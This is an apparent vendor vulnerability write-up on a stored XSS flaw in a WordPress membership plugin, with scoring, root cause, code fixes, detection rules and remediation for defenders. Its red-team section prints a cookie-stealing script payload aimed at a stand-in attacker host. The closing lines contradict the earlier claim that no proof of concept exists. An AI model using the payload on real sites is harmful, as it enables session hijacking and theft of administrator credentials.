CVE-2025-31088
Executive Summary
CVE-2025-31088 is a Stored Cross-Site Scripting (XSS) vulnerability in the Paid Member Subscriptions WordPress plugin by Cozmoslabs, affecting versions up to and including 2.14.3. This flaw allows an authenticated attacker with subscriber-level privileges or higher to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via the repository are affected. No third-party package manager (NPM, PyPI, Go, Ruby) is involved. The risk is limited to the WordPress ecosystem.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires authenticated user with subscriber role
- User Interaction: Required (UI:R) – victim must visit the affected page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS means a single injection can affect multiple users over time.
Deep Dive & Mechanics
The vulnerability exists in the paid-member-subscriptions plugin, specifically in how it handles user input for subscription-related fields (e.g., subscription name, description, or custom fields). The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it on the WordPress admin or frontend pages.
Attack Flow:
- An authenticated attacker (subscriber or higher) navigates to a page where they can input data (e.g., editing their profile or subscription details).
- The attacker injects a malicious payload, such as
<script>alert('XSS')</script>, into an input field. - The plugin stores the payload in the WordPress database without proper sanitization.
- When an administrator or another user views the page that displays this data (e.g., the subscription management page), the payload executes in their browser.
- The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: The plugin uses functions like echo $value or the_content() without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses().
Vulnerable vs. Patched Code
Since no patch is available, the following shows the vulnerable pattern and the recommended fix.
Vulnerable Code (example from plugin):
// In a template file or shortcode handler
echo '<div class="subscription-name">' . $subscription_name . '</div>';
Patched Code (recommended fix):
// Properly escape output
echo '<div class="subscription-name">' . esc_html( $subscription_name ) . '</div>';
The vulnerable code directly outputs user-controlled data without escaping, allowing HTML/JavaScript injection. The patched version uses esc_html() to neutralize any HTML tags.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with Paid Member Subscriptions plugin <= 2.14.3
- Authenticated user account with at least subscriber role
- A page or form that accepts and displays user input (e.g., subscription name field)
Exploitation Steps:
- Log in as a subscriber.
- Navigate to the profile or subscription edit page.
- In a text field (e.g., "Subscription Name"), enter the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the changes.
- Wait for an administrator to view the affected page (e.g., the subscription list in the admin panel).
- The admin's browser executes the script, sending their cookies to the attacker's server.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual input patterns in subscription fields (e.g.,
<script>,onerror=,javascript:). - Use Web Application Firewall (WAF) rules to block common XSS payloads.
- Review WordPress logs for suspicious user activity (e.g., subscribers editing subscription names).
Defense:
- Apply input validation and output escaping on all user-supplied data.
- Use WordPress built-in functions like
sanitize_text_field()for input andesc_html()for output. - Restrict user roles to limit who can edit subscription details.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to known malicious domains containing cookie data (e.g.,
GET /steal.php?cookie=...). - Unusual referrer headers from WordPress admin pages to external IPs.
- Outbound HTTP requests to known malicious domains containing cookie data (e.g.,
- Host:
- Presence of
<script>tags or event handlers in thewp_postmetaorwp_optionsdatabase tables. - Modified subscription names or descriptions containing JavaScript.
- Presence of
- Logs:
- WordPress debug log entries showing unexpected HTML in subscription fields.
- Web server access logs with
POSTrequests to subscription edit endpoints containing encoded XSS payloads.
Detection Engineering
YARA Rule
rule CVE_2025_31088_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress Paid Member Subscriptions plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-31088"
strings:
$xss_payload1 = /<script[^>]*>.*?<\/script>/is
$xss_payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss_payload3 = /javascript\s*:/is
condition:
any of ($xss_payload*) and filesize < 10KB
}
Sigma Rule
title: Stored XSS in Paid Member Subscriptions Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress subscription fields
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'paid-member-subscriptions'
- 'pms'
cs-uri-query|re: '(<script|onerror|javascript:)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in subscription descriptions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-31088 Stored XSS in Paid Member Subscriptions";
flow:to_server,established;
content:"POST"; http_method;
content:"paid-member-subscriptions"; http_uri;
pcre:"/(<script|onerror|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2025-31088;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by Cozmoslabs.
- Restrict user roles to prevent subscribers from editing subscription details.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-term Fix:
- Apply output escaping using
esc_html(),esc_attr(), orwp_kses()in all plugin templates. - Use WordPress input sanitization functions like
sanitize_text_field()before storing data. - Monitor the plugin's official page for a security update.
Workaround:
- If disabling the plugin is not possible, manually edit the plugin files to add escaping functions (e.g., wrap all
echostatements withesc_html()).
Valters IT
Securing WordPress, one plugin at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.